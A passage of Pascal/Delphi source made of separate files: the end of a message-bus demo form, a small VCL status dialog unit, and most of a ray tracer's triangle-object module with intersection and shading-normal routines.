with TMessageBusSubscribers.Create(self) do begin // helper - you don't need call Free or unsubscribe
Subscribe<TMyBigDataMessage>(MSG_TEST2,
procedure(const aValue: TMyBigDataMessage; aEnv: TMessageBus.TBusEnvir)
begin
Button1.Caption := aValue.Data + ' / ' + aValue.Counter.ToString; // procedure on receive TMyBigDataMessage message type MSG_TEST2
aValue.ChangeData; // inside this Proc, you can change some data of aValue
aEnv.MessageBus.Send(MSG_TEST3, aValue); // nested Send to MsgType MSG_TEST3 (inside same TMessageBus)
end);
Subscribe<TMyBigDataMessage>(MSG_TEST3,
procedure(const aValue: TMyBigDataMessage; aEnv: TMessageBus.TBusEnvir)
begin
Button2.Caption := aValue.Data + ' / ' + aValue.Counter.ToString; // procedure on receive TMyBigDataMessage message type MSG_TEST3
aValue.ChangeData;
end);
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
TMessageBus.Default.Unsubscribe(fRecv); // you must unsubsribe message before Free
end;
//********************* EMITERS part ******************************************
procedure TForm1.Button1Click(Sender: TObject);
begin
TMessageBus.Default.Send(MSG_TEST1, 'FirstTest'); // send string message type MSG_TEST1
end;
procedure TForm1.Button2Click(Sender: TObject);
var
aMessage: TMyBigDataMessage;
begin
aMessage := TMyBigDataMessage.Create;
try
TMessageBus.Default.Send(MSG_TEST2, aMessage); // send TButton message type MSG_TEST2
self.Caption := aMessage.Counter.ToString;
finally
aMessage.Free;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
TMessageBus.Default.Enabled[fRecv] := not TMessageBus.Default.Enabled[fRecv]; // enable/disable subscriber
end;
end.
|
unit Dialog2;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, XFlowanalyzer, Vcl.ExtCtrls;
type
TDialog2 = class(TForm)
Button1: TButton;
btnLoadNow: TButton;
Timer1: TTimer;
lblInfo: TLabel;
Timer2: TTimer;
lblInfo2: TLabel;
btnFinishUpdate: TButton;
lbLoadInfo: TListBox;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure info(s: string);
procedure info2(s: string);
procedure Timer2Timer(Sender: TObject);
procedure askFinish();
procedure btnFinishUpdateClick(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
FDialog2: TDialog2;
implementation
{$R *.dfm}
const
IMAGE_FILE_LARGE_ADDRESS_AWARE = $0020;
{$SETPEFLAGS IMAGE_FILE_LARGE_ADDRESS_AWARE}
procedure TDialog2.askFinish;
begin
btnFinishUpdate.Visible := true;
lblInfo2.Visible := false; // will ab jetzt die stšndigen Tips nicht mehr sehen
//
end;
procedure TDialog2.Button1Click(Sender: TObject);
begin
FDialog2.Close;
end;
procedure TDialog2.btnFinishUpdateClick(Sender: TObject);
begin
btnFinishUpdate.Visible := false;
form2.finishUpdate();
end;
procedure TDialog2.FormCreate(Sender: TObject);
var
i: integer;
begin
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NoMove or SWP_NoSize);
end;
procedure TDialog2.info(s: string);
begin
lblInfo.caption := s;
lblInfo.Refresh;
if (lblInfo2.caption = '') then
lblInfo.Top := 28
else
lblInfo.Top := 16;
if(s='') then
self.visible:=false
else
self.visible:=true;
end;
procedure TDialog2.info2(s: string);
begin
//
lblInfo2.caption := s;
lblInfo2.Refresh;
end;
procedure TDialog2.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled := false;
FDialog2.Repaint;
FDialog2.Refresh;
// button2click(nil);
end;
procedure TDialog2.Timer2Timer(Sender: TObject);
begin
Timer2.Enabled := false;
FDialog2.Top := form2.Top + form2.Height - FDialog2.Height - 4;
FDialog2.Left := form2.Left + form2.width - FDialog2.width - 4-40; //etwas nach links wegen ‹berdeckung der Scrollbars
end;
end.
|
{ Ray tracer type 1 triangle object.
}
module type1_tri;
define type1_tri_class_make;
%include 'ray_type1_2.ins.pas';
type
{
* TRI_DATA_T is the minimum mandatory private data stored for each triangle.
* This data structure is implicitly extended to include optional per-vertex
* data. Which data is present is indicated by the FLAGS field. When present,
* this data structure is extended to include VERT_OPT_RGB_T and
* VERT_OPT_SHNORM_T, at the end, in that order.
}
tri_data_p_t = ^tri_data_t;
tri_data_t = record {mandatory fields of data for this object}
flags: type1_tri_flags_t; {indicates what optional vertex data exists
this field MUST BE FIRST, since it is the
only field if triangle is too small to see}
visprop_p: type1_visprop_p_t; {pointer to visual properties block}
p1: vect_3d_fp1_t; {3D world space coor of one triangle vertex}
norm: vect_3d_fp1_t; {unit normal vector to triangle plane}
xbx, xby: single; {object to canonical triangle space xform}
ybx, yby: single;
zbx, zby: single;
end;
rgba_t = record {RGB and/or alpha stored per vertex}
red: int8u_t;
grn: int8u_t;
blu: int8u_t;
alpha: int8u_t;
end;
vert_opt_rgb_p_t = ^vert_opt_rgb_t;
vert_opt_rgb_t = record {optional RGB diffuse data per vertex}
v1, v2, v3: rgba_t;
end;
vert_opt_shnorm_p_t = ^vert_opt_shnorm_t;
vert_opt_shnorm_t = record {optional shading normal vector per vertex}
v1, v2, v3: vect_3d_t;
end;
{
* Hit information returned when a ray is found to intersect a triangle. Other
* than the BASE field, this data is private to routines in this module.
}
tri_hit_geom_p_t = ^tri_hit_geom_t;
tri_hit_geom_t = record {saved data from intersection check}
base: type1_hit_geom_t; {mandatory part of hit geometry save area}
data_p: tri_data_p_t; {pointer to object's private data block}
hpnt: vect_3d_t; {hit point in object's space}
hitx, hity: real; {hit point in triangle canonical space}
flip_factor: real; {-1 or 1 to flip normal vectors to front}
end;
{
********************************************************************************
*
* Local subroutine TYPE1_TRI_CREATE (OBJECT, CREA, STAT)
*
* Create a new instance of the TRI (triangle) object.
}
procedure type1_tri_create ( {create new primitive with custom data}
in out object: ray_object_t; {object instance to be filled in}
in gcrea_p: univ_ptr; {data for creating this object instance}
out stat: sys_err_t); {completion status code}
val_param;
var
crea_p: type1_tri_crea_data_p_t; {pointer to creation data, our format}
size: sys_int_adr_t; {amount of mem needed for private data block}
data_p: tri_data_p_t; {pointer to mandatory part of private data}
rgb_p: vert_opt_rgb_p_t; {pointer to current vert RGB data}
shnorm_p: vert_opt_shnorm_p_t; {pointer to current vert shading normal data}
opt_next: sys_int_adr_t; {address of next optional data in vertex 1}
fwd: vect_mat3x3_t; {canonical to obj transformation matrix}
bak: vect_mat3x3_t; {obj to canonical transformation matrix}
flags: type1_tri_flags_t; {local copy of user's flags}
bak_exists: boolean; {unused subroutine return flag}
m: real; {scratch scale factor}
begin
sys_error_none (stat); {init to no error}
crea_p := gcrea_p; {make pointer to creation data, our format}
{
* To find the transform from the object's space to the canonical space, we
* will construct the canonical to object transform and then take its inverse.
*
* In the canonical space, the triangle exists from 0,0 to 1,0 to 0,1. Since
* this is a 2D space, the Z vector is assumed to be unit size and perpendicular
* to the triangle plane.
*
* Make the canonical to object transformation matrix.
}
fwd.xb.x := crea_p^.p2.x - crea_p^.p1.x;
fwd.xb.y := crea_p^.p2.y - crea_p^.p1.y;
fwd.xb.z := crea_p^.p2.z - crea_p^.p1.z;
fwd.yb.x := crea_p^.p3.x - crea_p^.p1.x;
fwd.yb.y := crea_p^.p3.y - crea_p^.p1.y;
fwd.yb.z := crea_p^.p3.z - crea_p^.p1.z;
fwd.zb.x := fwd.xb.y*fwd.yb.z - fwd.xb.z*fwd.yb.y; {cross of X and Y vectors}
fwd.zb.y := fwd.xb.z*fwd.yb.x - fwd.xb.x*fwd.yb.z;
fwd.zb.z := fwd.xb.x*fwd.yb.y - fwd.xb.y*fwd.yb.x;
m := sqrt(sqr(fwd.zb.x) + sqr(fwd.zb.y) + sqr(fwd.zb.z));
if m < 1.0E-29 {check triangle size}
then begin {triangle is too small to see}
object.data_p := nil; {indicate this triangle will be ignored}
return;
end
else begin {triangle is big enough to see}
m := 1.0 / m; {make scale factor for unitizing vector}
end
;
fwd.zb.x := fwd.zb.x * m; {unitize geometric normal vector}
fwd.zb.y := fwd.zb.y * m;
fwd.zb.z := fwd.zb.z * m;
{
* This triangle is definately big enough to see. Allocate our private data block.
}
flags := crea_p^.flags; {make local copy of user's flags}
if {we will need to store RGBA ?}
(type1_tri_flag_rgb_k in flags) or
(type1_tri_flag_alpha_k in flags)
then begin
flags := flags + [type1_tri_flag_rgba_k];
end;
size := sizeof(data_p^); {init to size of required fields}
if type1_tri_flag_rgba_k in flags then begin {storing RGB per vertex ?}
size := size + sizeof(rgb_p^); {add size needed for RGB per vertex}
end;
if type1_tri_flag_shnorm_k in flags then begin {storing normal per vertex ?}
size := size + sizeof(shnorm_p^); {add size needed for normal per vertex}
end;
util_mem_grab ( {allocate private memory for this triangle}
size, {amount of memory needed}
ray_mem_p^, {parent memory context}
false, {won't need to individually deallocate this}
data_p); {returned point to new memory}
opt_next := sys_int_adr_t(data_p) + sizeof(data_p^); {optional data starts here}
object.data_p := data_p; {set pointer to object data block}
{
* The private memory block for this object has been allocated. DATA_P points
* to the mandatory fields. OPT_START is the address where optional data will
* start, if any.
*
* The canonical to object space transform is in FWD. Use its inverse to
* stuff the gemometric information in the mandatory fields of the private
* data block.
}
vect_3x3_invert (fwd, m, bak_exists, bak); {make obj to canonical xform in BAK}
data_p^.p1.x := crea_p^.p1.x; {origin in canonical triangle space}
data_p^.p1.y := crea_p^.p1.y;
data_p^.p1.z := crea_p^.p1.z;
data_p^.norm.x := fwd.zb.x; {object space unit normal vector}
data_p^.norm.y := fwd.zb.y;
data_p^.norm.z := fwd.zb.z;
data_p^.xbx := bak.xb.x; {save the 2D part of obj to canonical xform}
data_p^.xby := bak.xb.y;
data_p^.ybx := bak.yb.x;
data_p^.yby := bak.yb.y;
data_p^.zbx := bak.zb.x;
data_p^.zby := bak.zb.y;
data_p^.visprop_p := crea_p^.visprop_p; {copy visprop block pointer from user data}
data_p^.flags := flags; {save optional data flags in tri data block}
{
* All the mandatory fields of our private data for this triangle have been
* filled in. Now fill in the optional per-vertex crea_p^.
}
if type1_tri_flag_rgba_k in flags then begin {RGB and/or A per vertex ?}
rgb_p := univ_ptr(opt_next); {get start of RGB data}
opt_next := opt_next + sizeof(rgb_p^); {update where next optional data goes}
if type1_tri_flag_rgb_k in flags then begin {RGB present per vertex ?}
rgb_p^.v1.red := trunc(256.0 * min(0.999, max(0.0, crea_p^.v1.red)));
rgb_p^.v1.grn := trunc(256.0 * min(0.999, max(0.0, crea_p^.v1.grn)));
rgb_p^.v1.blu := trunc(256.0 * min(0.999, max(0.0, crea_p^.v1.blu)));
rgb_p^.v2.red := trunc(256.0 * min(0.999, max(0.0, crea_p^.v2.red)));
rgb_p^.v2.grn := trunc(256.0 * min(0.999, max(0.0, crea_p^.v2.grn)));
rgb_p^.v2.blu := trunc(256.0 * min(0.999, max(0.0, crea_p^.v2.blu)));
rgb_p^.v3.red := trunc(256.0 * min(0.999, max(0.0, crea_p^.v3.red)));
rgb_p^.v3.grn := trunc(256.0 * min(0.999, max(0.0, crea_p^.v3.grn)));
rgb_p^.v3.blu := trunc(256.0 * min(0.999, max(0.0, crea_p^.v3.blu)));
end;
if type1_tri_flag_alpha_k in flags then begin {ALPHA present per vertex ?}
rgb_p^.v1.alpha := trunc(256.0 * min(0.999, max(0.0, crea_p^.v1.alpha)));
rgb_p^.v2.alpha := trunc(256.0 * min(0.999, max(0.0, crea_p^.v2.alpha)));
rgb_p^.v3.alpha := trunc(256.0 * min(0.999, max(0.0, crea_p^.v3.alpha)));
end;
end; {done handling optional RGBA data}
if type1_tri_flag_shnorm_k in flags then begin {storing shading normals ?}
shnorm_p := univ_ptr(opt_next); {get pointer to start of shading normals}
(*
opt_next := opt_next + sizeof(shnorm_p^); {update where next optional data goes}
*)
shnorm_p^.v1 := crea_p^.v1.shnorm;
shnorm_p^.v2 := crea_p^.v2.shnorm;
shnorm_p^.v3 := crea_p^.v3.shnorm;
end;
end;
{
********************************************************************************
*
* Local function TYPE1_TRI_INTERSECT_CHECK (
* GRAY, OBJECT, GPARMS, HIT_INFO, SHADER)
*
* Check ray and object for an intersection. If so, return TRUE, and save
* any partial results in HIT_INFO. These partial results may be used later
* to get detailed information about the intersection geometry.
}
function type1_tri_intersect_check ( {check for ray/object intersection}
in out gray: univ ray_base_t; {input ray descriptor}
in var object: ray_object_t; {input object to intersect ray with}
in gparms_p: univ_ptr; {pointer to run time TYPEn-specific params}
out hit_info: ray_hit_info_t; {handle to routines and data to get hit color}
out shader: ray_shader_t) {pointer to shader to resolve color here}
:boolean; {TRUE if ray does hit object}
val_param;
var
ray_p: type1_ray_p_t; {pointer to ray, our format}
parms_p: type1_object_parms_p_t; {pointer to runtime parameters, our format}
dp: tri_data_p_t; {pointer to object's private data block}
rndot: real; {dot product of ray and tri normal vectors}
dis: real; {ray distance to triangle plane}
hpnt: vect_3d_t; {hit point in object space}
hrel: vect_3d_t; {hit point relative to vertex 1}
hx, hy: real; {hit point in canonical 2D triangle space}
hit_geom_p: tri_hit_geom_p_t; {pointer to our private hit info}
label
no_hit;
begin
ray_p := univ_ptr(addr(gray)); {make pointer to ray info, our format}
parms_p := gparms_p; {make poitner to runtime parameters, our format}
stats_tri.isect_ray := stats_tri.isect_ray + 1; {one more ray intersect check}
dp := object.data_p; {make local pointer to private data}
rndot := {dot product of ray and tri normal vectors}
(ray_p^.vect.x * dp^.norm.x) +
(ray_p^.vect.y * dp^.norm.y) +
(ray_p^.vect.z * dp^.norm.z);
if abs(rndot) < 1.0E-20 then goto no_hit; {triangle plane too paralell to ray ?}
dis := ( {ray distance to triangle plane}
((dp^.p1.x - ray_p^.point.x) * dp^.norm.x) +
((dp^.p1.y - ray_p^.point.y) * dp^.norm.y) +
((dp^.p1.z - ray_p^.point.z) * dp^.norm.z)) / rndot;
if dis <= ray_p^.min_dist then goto no_hit; {intersection is too close ?}
if dis >= ray_p^.max_dist then goto no_hit; {intersection is too far away ?}
hpnt.x := ray_p^.point.x + (ray_p^.vect.x * dis); {object space plane intersection point}
hpnt.y := ray_p^.point.y + (ray_p^.vect.y * dis);
hpnt.z := ray_p^.point.z + (ray_p^.vect.z * dis);
hrel.x := hpnt.x - dp^.p1.x; {hit point relative to vertex 1}
hrel.y := hpnt.y - dp^.p1.y;
hrel.z := hpnt.z - dp^.p1.z;
hx := {transform hit point to canonical tri space}
(hrel.x * dp^.xbx) + (hrel.y * dp^.ybx) + (hrel.z * dp^.zbx);
if hx < 0.0 then goto no_hit; {hit point outside triangle ?}
hy :=
(hrel.x * dp^.xby) + (hrel.y * dp^.yby) + (hrel.z * dp^.zby);
if hy < 0.0 then goto no_hit;
if (hx + hy) > 1.0 then goto no_hit;
{
* The ray DOES hit the triangle. HPNT is the object space hit point. HX,HY
* is the canonical triangle space hit point.
}
hit_geom_p := univ_ptr(addr(mem[next_mem])); {get pointer to hit geom block}
next_mem := ((sizeof(tri_hit_geom_t)+3) & 16#0FFFFFFFC)
+ next_mem; {allocate 4 byte chunks for HIT_GEOM block}
if next_mem > mem_block_size then begin {not enough room for HIT_GEOM block ?}
sys_message_bomb ('ray_type1', 'mem_overflow', nil, 0);
end;
hit_info.object_p := addr(object); {return handle to object that got hit}
hit_info.distance := dis; {ray distance to hit point}
hit_info.shader_parms_p := hit_geom_p; {fill in pointer to hit geometry save area}
if dp^.visprop_p <> nil {check where to get visprop pointer from}
then hit_geom_p^.base.visprop_p := dp^.visprop_p {get it from object data}
else hit_geom_p^.base.visprop_p := parms_p^.visprop_p; {from run-time parameters}
if rndot > 0.0 {which side of the triangle did we hit ?}
then begin {ray hit back side of triangle}
hit_info.enter := false; {indicate we are leaving an object}
hit_geom_p^.flip_factor := -1.0; {normal vector will need to be flipped}
if hit_geom_p^.base.visprop_p^.back_p <> nil then begin {back props exist ?}
hit_geom_p^.base.visprop_p := {switch to properties for back side}
hit_geom_p^.base.visprop_p^.back_p;
end;
end
else begin {ray hit front side of triangle}
hit_info.enter := true; {indicate we are entering an object}
hit_geom_p^.flip_factor := 1.0; {normal vectors already pointing right dir}
end
;
hit_geom_p^.base.liparm_p := parms_p^.liparm_p; {save pointer to light sources block}
hit_geom_p^.data_p := dp; {save pointer to object's private data}
hit_geom_p^.hpnt := hpnt; {save hit point in object coor space}
hit_geom_p^.hitx := hx; {save hit point in 2D canonical tri space}
hit_geom_p^.hity := hy;
shader := parms_p^.shader; {default to from run time parameters}
type1_tri_intersect_check := true; {indicate there was an intersection}
stats_tri.hit_ray := stats_tri.hit_ray + 1; {one more ray/tri intersect found}
return;
no_hit: {jump here if ray doesn't intersect triangle}
type1_tri_intersect_check := false;
end;
{
********************************************************************************
*
* Local subroutine TYPE1_TRI_INTERSECT_GEOM (HIT_INFO, FLAGS, GEOM_INFO)
*
* Return specific geometric information about a ray/object intersection
* in GEOM_INFO. In HIT_INFO are any useful results left by the ray/object
* intersection check calculation. FLAGS identifies what specific geometric
* information is being requested.
}
procedure type1_tri_intersect_geom ( {return detailed geometry of intersection}
in hit_info: ray_hit_info_t; {data saved by INTERSECT_CHECK}
in flags: ray_geom_flags_t; {bit mask list of what is being requested}
out geom_info: ray_geom_info_t); {filled in geometric info}
val_param;
var
hit_geom_p: tri_hit_geom_p_t; {pointer to hit geometry block}
opt_next: sys_int_adr_t; {address of next optional per-vertex data}
rgb_p: vert_opt_rgb_p_t; {pointer to current vert RGB data}
shn_p: vert_opt_shnorm_p_t; {pointers to user-supplied shading normals}
vp_p: type1_visprop_p_t; {pointer to our customized visprop block}
sz: sys_int_adr_t; {amount of memory needed}
m1: real; {mult factor for vertex 1 in linear combo}
m: real; {scale factor for unitizing vector}
begin
hit_geom_p := {pointer to HIT_GEOM block}
tri_hit_geom_p_t(hit_info.shader_parms_p);
with
hit_geom_p^: geom, {GEOM is hit geometry block}
hit_geom_p^.data_p^: data {DATA is object private data block}
do begin
geom_info.flags := []; {init to nothing returned}
m1 := 1.0 - geom.hitx - geom.hity; {weighting factor for vertex 1}
opt_next := {address of optional vertex data, if any}
sys_int_adr_t(addr(data)) + sizeof(data);
{
* Make a temporary copy of the current VISPROP block, and set it to the values
* at the hit point if this triangle has any customized data per vertex.
}
if type1_tri_flag_rgba_k in data.flags then begin {data customized per vertex ?}
vp_p := {allocate space for temporary visprop block}
type1_visprop_p_t(addr(mem[next_mem]));
sz := (sizeof(vp_p^) + 3) & (~3); {round to nice multiple}
next_mem := next_mem + sz; {update index to next available memory}
if next_mem > max_mem_index then begin
sys_message_bomb ('ray_type1', 'mem_overflow', nil, 0);
end;
vp_p^ := geom.base.visprop_p^; {make copy of visprop block}
geom.base.visprop_p := vp_p; {indicate to use temp visprop block}
rgb_p := univ_ptr(opt_next); {get pointer to RGB optional data}
opt_next := opt_next + sizeof(rgb_p^); {next optional data starts after RGB}
if type1_tri_flag_rgb_k in data.flags then begin {RGB data exists per vertex ?}
vp_p^.diff_red := {interpolate and stuff RED}
(m1 * rgb_p^.v1.red / 255.0) +
(geom.hitx * rgb_p^.v2.red / 255.0) +
(geom.hity * rgb_p^.v3.red / 255.0);
vp_p^.diff_grn := {interpolate and stuff GREEN}
(m1 * rgb_p^.v1.grn / 255.0) +
(geom.hitx * rgb_p^.v2.grn / 255.0) +
(geom.hity * rgb_p^.v3.grn / 255.0);
vp_p^.diff_blu := {interpolate and stuff BLUE}
(m1 * rgb_p^.v1.blu / 255.0) +
(geom.hitx * rgb_p^.v2.blu / 255.0) +
(geom.hity * rgb_p^.v3.blu / 255.0);
end;
if type1_tri_flag_alpha_k in data.flags then begin {alpha data exists per vert ?}
vp_p^.opac_front := {interpolate and stuff opacity}
(m1 * rgb_p^.v1.alpha / 255.0) +
(geom.hitx * rgb_p^.v2.alpha / 255.0) +
(geom.hity * rgb_p^.v3.alpha / 255.0);
vp_p^.opac_side := vp_p^.opac_front; {set front/side opacity to same value}
end;
end;
{
* Return intersection point if requested.
}
if ray_geom_point in flags then begin
geom_info.point := geom.hpnt;
geom_info.flags := {inidicate intersect point returned}
geom_info.flags + [ray_geom_point];
end;
{
* Return shading normal vector if requested.
}
if ray_geom_unorm in flags then begin
if type1_tri_flag_shnorm_k in data.flags
then begin {shading normal supplied at each vertex}
shn_p := univ_ptr(opt_next); {get pointer to shading normal optional data}
geom_info.unorm.x := {interpolate shading normal}
(m1 * shn_p^.v1.x) + (geom.hitx * shn_p^.v2.x) + (geom.hity * shn_p^.v3.x);
geom_info.unorm.y :=
(m1 * shn_p^.v1.y) + (geom.hitx * shn_p^.v2.y) + (geom.hity * shn_p^.v3.y);
geom_info.unorm.z :=
(m1 * shn_p^.v1.z) + (geom.hitx * shn_p^.v2.z) + (geom.hity * shn_p^.v3.z);
m := geom.flip_factor / sqrt( {shading normal unitizing scale factor}
sqr(geom_info.unorm.x) + sqr(geom_info.unorm.y) + sqr(geom_info.unorm.z));
geom_info.unorm.x := geom_info.unorm.x * m; {unitize shading normal vect}
geom_info.unorm.y := geom_info.unorm.y * m;
geom_info.unorm.z := geom_info.unorm.z * m;
end
else begin {no shading normals supplied, use geometric}
geom_info.unorm.x := data.norm.x * geom.flip_factor;
geom_info.unorm.y := data.norm.y * geom.flip_factor;
geom_info.unorm.z := data.norm.z * geom.flip_factor;
end
;
geom_info.flags := {indicate unit normal returned}
geom_info.flags + [ray_geom_unorm];
end;
end; {done with GEOM and DATA abbreviations}
end;
{
********************************************************************************
}
procedure type1_tri_intersect_box ( {find object/box intersection status}
in box: ray_box_t; {descriptor for a paralellpiped volume}
in object: ray_object_t; {object to intersect with the box}
out here: boolean; {TRUE if ISECT_CHECK could be true in box}
out enclosed: boolean); {TRUE if solid obj, and completely encloses box}
val_param;
type
box_corner_t = record {data we build about each box corner}
front: boolean; {TRUE if point is on front side of triangle}
dis: real; {signed distance from triangle plane to here}
x, y, z: real; {coordinate of this box corner}
end;
canonical_2d_t = record {coordinate in 2D canonical triangle space}
x: real;
y: real;
clip: sys_int_machine_t; {clip to triangle edge lines status mask}
end;
var
data_p: tri_data_p_t; {pointer to private object data}
b0: box_corner_t; {at box point}
b1: box_corner_t; {at box point + edge 1}
b2: box_corner_t; {at box point + edge 2}
b3: box_corner_t; {at box point + edge 3}
b4: box_corner_t; {at box point + edges 1,2}
b5: box_corner_t; {at box point + edges 1,3}
b6: box_corner_t; {at box point + edges 2,3}
b7: box_corner_t; {at box point + edges 1,2,3}
pdis0: real; {plane distance for box point}
pdis1: real; {plane distance increment for edge 1}
pdis2: real; {plane distance increment for edge 2}
pdis3: real; {plane distance increment for edge 3}
r1, r2: real; {scratch real numbers}
c: array[1..6] of canonical_2d_t; {intersection points with box edges and plane}
n_c: sys_int_machine_t; {number of intersection points in C array}
x, y, z: real; {scratch 3D object space coordinate}
clip_acc: sys_int_machine_t; {low three bits are clip IN flags}
i, j: sys_int_machine_t; {loop counters}
label
in_box, out_box;
begin
stats_tri.isect_box := stats_tri.isect_box + 1; {one more box intersect check}
enclosed := false; {triangle can never enclose a box}
data_p := tri_data_p_t(object.data_p); {get pointer to our private data block}
if data_p = nil then goto out_box; {no triangle really here ?}
with data_p^: data do begin {DATA is our private data block}
{
* Find the triangle plane distance for the box point, and the plane distance
* increments for each of the edges. The plane distance is zero for any point
* on the plane, positive if on the front side of the plane, and negative if
* on the back side. The magnitude is the perpendicular distance from the plane.
*
* These four scalars will be used to classify each of the box corners as
* being in front of or behind the triangle plane. A trivial reject occurs if
* all 8 box corners are on the same side of the triangle plane.
}
pdis0 := {distance from plane to box point}
((box.point.x - data.p1.x) * data.norm.x) +
((box.point.y - data.p1.y) * data.norm.y) +
((box.point.z - data.p1.z) * data.norm.z);
pdis1 := {incremental plane distance for edge 1}
(box.edge[1].edge.x * data.norm.x) +
(box.edge[1].edge.y * data.norm.y) +
(box.edge[1].edge.z * data.norm.z);
pdis2 := {incremental plane distance for edge 2}
(box.edge[2].edge.x * data.norm.x) +
(box.edge[2].edge.y * data.norm.y) +
(box.edge[2].edge.z * data.norm.z);
pdis3 := {incremental plane distance for edge 3}
(box.edge[3].edge.x * data.norm.x) +
(box.edge[3].edge.y * data.norm.y) +
(box.edge[3].edge.z * data.norm.z);
b0.dis := pdis0; {save distances from tri plane to box corners}
b1.dis := pdis0 + pdis1;
b2.dis := pdis0 + pdis2;
b3.dis := pdis0 + pdis3;
b4.dis := b1.dis + pdis2;
b5.dis := b1.dis + pdis3;
b6.dis := b2.dis + pdis3;
b7.dis := b4.dis + pdis3;
b0.front := b0.dis >= 0.0; {set flags for corners on front/back side}
b1.front := b1.dis >= 0.0;
b2.front := b2.dis >= 0.0;
b3.front := b3.dis >= 0.0;
b4.front := b4.dis >= 0.0;
b5.front := b5.dis >= 0.0;
b6.front := b6.dis >= 0.0;
b7.front := b7.dis >= 0.0;
if {all points are on front side of plane ?}
b0.front and b1.front and b2.front and b3.front and
b4.front and b5.front and b6.front and b7.front
then goto out_box;
if not ( {all points are on back side of plane ?}
b0.front or b1.front or b2.front or b3.front or
b4.front or b5.front or b6.front or b7.front)
then goto out_box;
{
* We now know the box straddles the triangle plane. Make a list of the
* intersection points between the plane and the box edges that straddle the
* plane. There may be from 3 to 6 of these points.
*
* We will start by filling in the coordinate of each box point.
}
b0.x := box.point.x; {make box point coordinates}
b0.y := box.point.y;
b0.z := box.point.z;
b1.x := b0.x + box.edge[1].edge.x;
b1.y := b0.y + box.edge[1].edge.y;
b1.z := b0.z + box.edge[1].edge.z;
b2.x := b0.x + box.edge[2].edge.x;
b2.y := b0.y + box.edge[2].edge.y;
b2.z := b0.z + box.edge[2].edge.z;
b3.x := b0.x + box.edge[3].edge.x;
b3.y := b0.y + box.edge[3].edge.y;
b3.z := b0.z + box.edge[3].edge.z;
b4.x := b1.x + box.edge[2].edge.x;
b4.y := b1.y + box.edge[2].edge.y;
b4.z := b1.z + box.edge[2].edge.z;
b5.x := b1.x + box.edge[3].edge.x;
b5.y := b1.y + box.edge[3].edge.y;
b5.z := b1.z + box.edge[3].edge.z;
b6.x := b2.x + box.edge[3].edge.x;
b6.y := b2.y + box.edge[3].edge.y;
b6.z := b2.z + box.edge[3].edge.z;
b7.x := b4.x + box.edge[3].edge.x;
b7.y := b4.y + box.edge[3].edge.y;
b7.z := b4.z + box.edge[3].edge.z;
n_c := 0; {init number of intersection points found}
if b0.front <> b1.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b1.dis / (b1.dis - b0.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b0.x) + (r2 * b1.x); {3D object space intersection coordinate}
y := (r1 * b0.y) + (r2 * b1.y);
z := (r1 * b0.z) + (r2 * b1.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b0.front <> b2.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b2.dis / (b2.dis - b0.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b0.x) + (r2 * b2.x); {3D object space intersection coordinate}
y := (r1 * b0.y) + (r2 * b2.y);
z := (r1 * b0.z) + (r2 * b2.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b0.front <> b3.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b3.dis / (b3.dis - b0.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b0.x) + (r2 * b3.x); {3D object space intersection coordinate}
y := (r1 * b0.y) + (r2 * b3.y);
z := (r1 * b0.z) + (r2 * b3.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b4.front <> b1.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b1.dis / (b1.dis - b4.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b4.x) + (r2 * b1.x); {3D object space intersection coordinate}
y := (r1 * b4.y) + (r2 * b1.y);
z := (r1 * b4.z) + (r2 * b1.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b4.front <> b2.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b2.dis / (b2.dis - b4.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b4.x) + (r2 * b2.x); {3D object space intersection coordinate}
y := (r1 * b4.y) + (r2 * b2.y);
z := (r1 * b4.z) + (r2 * b2.z);
x := x - data.p1.x; {make relative to triangle origin}
y := y - data.p1.y;
z := z - data.p1.z;
c[n_c].x := (x * data.xbx) + (y * data.ybx) + (z * data.zbx); {2D canonical coor}
c[n_c].y := (x * data.xby) + (y * data.yby) + (z * data.zby);
end;
if b4.front <> b7.front then begin
n_c := n_c + 1; {make index of this new intersect point}
r1 := b7.dis / (b7.dis - b4.dis); {weighting factor for first box point}
r2 := 1.0 - r1; {weighting factor for second box point}
x := (r1 * b4.x) + (r2 * b7.x); {3D object space intersection coordinate}
y := (r1 * b4.y) + (r2 * b7.y);
